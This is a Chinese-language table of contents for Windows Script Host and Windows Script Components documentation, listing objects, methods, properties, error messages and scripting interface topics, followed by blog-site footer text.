删除快捷方式 移动快捷方式 操纵系统注册表 远程运行脚本脚本进行签名 WSH 和 Windows 管理规范 (WMI) WSH 演练 WSH 网络管理员示例脚本 安全和 Windows 脚本宿主 CryptoAPI 工具 对脚本进行签名 软件限制策略 签名验证策略 验证脚本 参考 XML 元素 <?job?> 元素 <?XML?> 元素 <description> 元素 <example> 元素 <job> 元素 <named> 元素 <object> 元素 <package> 元素 <reference> 元素 <resource> 元素 <runtime> 元素 <script> 元素 <unnamed> 元素 <usage> 元素 对象 Scripting.Signer 对象 Scripting.Signer 对象的方法 WScript 对象 WScript 对象的属性和方法 WshArguments 对象 WshArguments 对象的属性和方法 WshController 对象 WshController 对象的方法 WshEnvironment 对象 WshEnvironment 对象的属性和方法 WshNamed 对象 WshNamed 对象的属性和方法 WshNetwork 对象 WshNetwork 对象的属性和方法 WshRemote 对象 WshRemote 对象的属性、方法和事件 WshRemoteError 对象 WshRemoteError 对象的属性 WshScriptExec 对象 WshScriptExec 对象的属性和方法 WshShell 对象 WshShell 对象的属性和方法 WshShortcut 对象 WshShortcut 对象的属性和方法 WshSpecialFolders 对象 WshSpecialFolders 对象的属性和方法 WshUnnamed 对象 WshUnnamed 对象的属性和方法 WshUrlShortcut 对象 WshUrlShortcut 对象的属性和方法 属性 Arguments 属性(Shortcut 对象) Arguments 属性(WScript 对象) AtEndOfLine 属性 AtEndOfStream 属性 BuildVersion 属性 Character 属性 Column 属性 ComputerName 属性 CurrentDirectory 属性 Description 属性 Description 属性 (WshRemoteError) Environment 属性 Error 属性 (WshRemote) ExitCode 属性 FullName 属性(WScript 对象) FullName 属性(WshShortcut 对象) FullName 属性(WshUrlShortcut 对象) Hotkey 属性 IconLocation 属性 Interactive 属性 Item 属性 Item 属性 (WshNamed) Item 属性 (WshUnnamed) length 属性(WshArguments 对象) length 属性(WshEnvironment 对象) length 属性(WshSpecialFolders 对象) Line 属性 (WScript) Line 属性 (WshRemoteError) Name 属性(WScript 对象) Named 属性 Number 属性 Path 属性 ProcessID 属性 RelativePath 属性 ScriptFullName 属性 ScriptName 属性 Source 属性 SourceText 属性 SpecialFolders 属性 Status 属性 (WshRemote) Status 属性 (WshScriptExec) StdErr 属性 (WScript) StdErr 属性 (WshScriptExec) StdIn 属性 (WScript) StdIn 属性 (WshScriptExec) StdOut 属性 (WScript) StdOut 属性 (WshScriptExec) TargetPath 属性 Unnamed 属性 UserDomain 属性 UserName 属性 Version 属性 WindowStyle 属性 WorkingDirectory 属性 方法 AddPrinterConnection 方法 AddWindowsPrinterConnection 方法 AppActivate 方法 Close 方法 ConnectObject 方法 Count 方法 CreateObject 方法 CreateScript 方法 CreateShortcut 方法 DisconnectObject 方法 Echo 方法 EnumNetworkDrives 方法 EnumPrinterConnections 方法 Exec 方法 Execute 方法 Exists 方法 ExpandEnvironmentStrings 方法 GetObject 方法 getResource 方法 LogEvent 方法 MapNetworkDrive 方法 Popup 方法 Quit 方法 Read 方法 ReadAll 方法 ReadLine 方法 RegDelete 方法 RegRead 方法 RegWrite 方法 Remove 方法 RemoveNetworkDrive 方法 RemovePrinterConnection 方法 Run 方法 Save 方法 SendKeys 方法 SetDefaultPrinter 方法 ShowUsage 方法 Sign 方法 SignFile 方法 Skip 方法 SkipLine 方法 Sleep 方法 Terminate 方法 (WshScriptExec) Verify 方法 VerifyFile 方法 Write 方法 WriteBlankLines 方法 WriteLine 方法 事件 End 事件 Error 事件 Start 事件 错误信息 //H 选项需要宿主名称。 //T 选项需要超时值。 已命名元素或未命名元素有重复的名称。 尝试用 //S 选项保存设置失败。 无法执行 — 参数列表太长。 无法写入 wsh.log。请向您的管理员咨询。 无法更改默认脚本宿主 找不到脚本脚本引擎 找不到脚本文件 <script file name>。 无法从 stdin 中读取脚本。 无法保存设置。 命令行选项不匹配。 无法连接对象 <object name>。 无法定位自动化类名称 <automation class name>。 //E 选项需要脚本引擎的名称。 无法移除环境变量 <name>。 Windows 脚本宿主的执行失败。 //H 选项的宿主名称必须是 Windows 脚本宿主初始化失败。 不提供命令而调用 Exec 的尝试无效。 路径名称无效。 快捷方式路径名必须以 .lnk 或 .url 结尾。 //T 选项的超时值无效。 加载脚本 <script name> 失败。 加载设置失败。 缺少作业名称。 没有名为 <name> 的打印机。 找不到 <name> 的协议处理程序。 供读取的注册表项 <name> 中的根无效。 无法打开注册表项 <name> 供读取。 无法移除注册表项 <name>。 远程脚本对象只能执行一次。 脚本 <script name> 上的脚本执行时间超时。<script name> 的执行被终止。 脚本设置文件 <settings filename> 无效。 URL <name> 中的语法无效。 无法保存快捷方式 <name>。 无法将快捷方式目标设为 <name>。 <file name> 中没有文件扩展名。 没有文件扩展名 <file extension> 的脚本引擎。 未指定脚本文件。 无法运行远程脚本。 找不到作业 <job identifier>。 无法等待进程。 该平台不支持 Unicode。 指定了未知选项 <option designation>。 该计算机上的 Windows 脚本宿主访问被禁用。要获得详细信息,请与您的系统管理员联系。 Windows 脚本部件 脚本部件指南 脚本部件概述 Windows 脚本部件简介 脚本部件是如何运作的 创建脚本部件 脚本部件文件的内容 使用脚本部件向导 创建注册信息 说明方法 说明属性 说明事件 创建脚本部件类型库 引用其他部件 引用同一个程序包中的其他脚本部件 检查脚本部件文件中的错误 脚本部件文件和 XML 一致性 使用脚本部件 注册脚本部件 在应用程序中使用脚本部件 在宿主应用程序中处理脚本部件的事件 实现 ASP 脚本部件 实现 DHTML Behavior 脚本部件 创建 Behavior 脚本部件 在 Behavior 脚本部件中说明属性和方法 在 Behavior 脚本部件中说明自定义事件 脚本部件参考 <?component?> <?XML ?> <comment> 元素 createComponent 函数 <event> 元素 fireEvent 方法 getResource 函数 <implements> 元素 <method> 元素 <object> 元素 <package> 元素 <property> 元素 <public> 元素 <reference> 元素 <registration> 元素 <resource> 元素 <script> 元素 <component> 元素 Behavior 处理程序参考 <attach> 元素 attachNotification 方法 createEventObject 方法 element 属性 <layout> 元素 fireEvent 方法 Windows 脚本接口 SDK(英文) Introduction Windows Script Hosts Windows Script Engines Reference IActiveScript Interface IActiveScript::AddNamedItem IActiveScript::AddTypeLib IActiveScript::Clone IActiveScript::Close IActiveScript::GetCurrentScriptThreadID IActiveScript::GetScriptDispatch IActiveScript::GetScriptSite IActiveScript::GetScriptState IActiveScript::GetScriptThreadID IActiveScript::GetScriptThreadState. IActiveScript::InterruptScriptThread IActiveScript::SetScriptSite IActiveScript::SetScriptState IActiveScriptError Interface IActiveScriptError::GetExceptionInfo IActiveScriptError::GetSourceLineText IActiveScriptError::GetSourcePosition IActiveScriptParse Interface IActiveScriptParse::AddScriptlet IActiveScriptParse::InitNew IActiveScriptParse::ParseScriptText IActiveScriptSite Interface IActiveScriptSite::GetDocVersionString IActiveScriptSite::GetItemInfo IActiveScriptSite::GetLCID IActiveScriptSite::OnEnterScript IActiveScriptSite::OnLeaveScript IActiveScriptSite::OnScriptError IActiveScriptSite::OnScriptTerminate IActiveScriptSite::OnStateChange IActiveScriptSiteWindow Interface IActiveScriptSiteWindow::EnableModeless IActiveScriptSiteWindow::GetWindow IActiveScript Enumerations SCRIPTSTATE SCRIPTTHREADSTATE IDispatchEx Interface IDispatchEx Methods IDispatchEx::DeleteMemberByDispID IDispatchEx::DeleteMemberByName IDispatchEx::GetDispID IDispatchEx::GetMemberName IDispatchEx::GetMemberProperties IDispatchEx::GetNameSpaceParent IDispatchEx::GetNextDispID IDispatchEx::InvokeEx
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值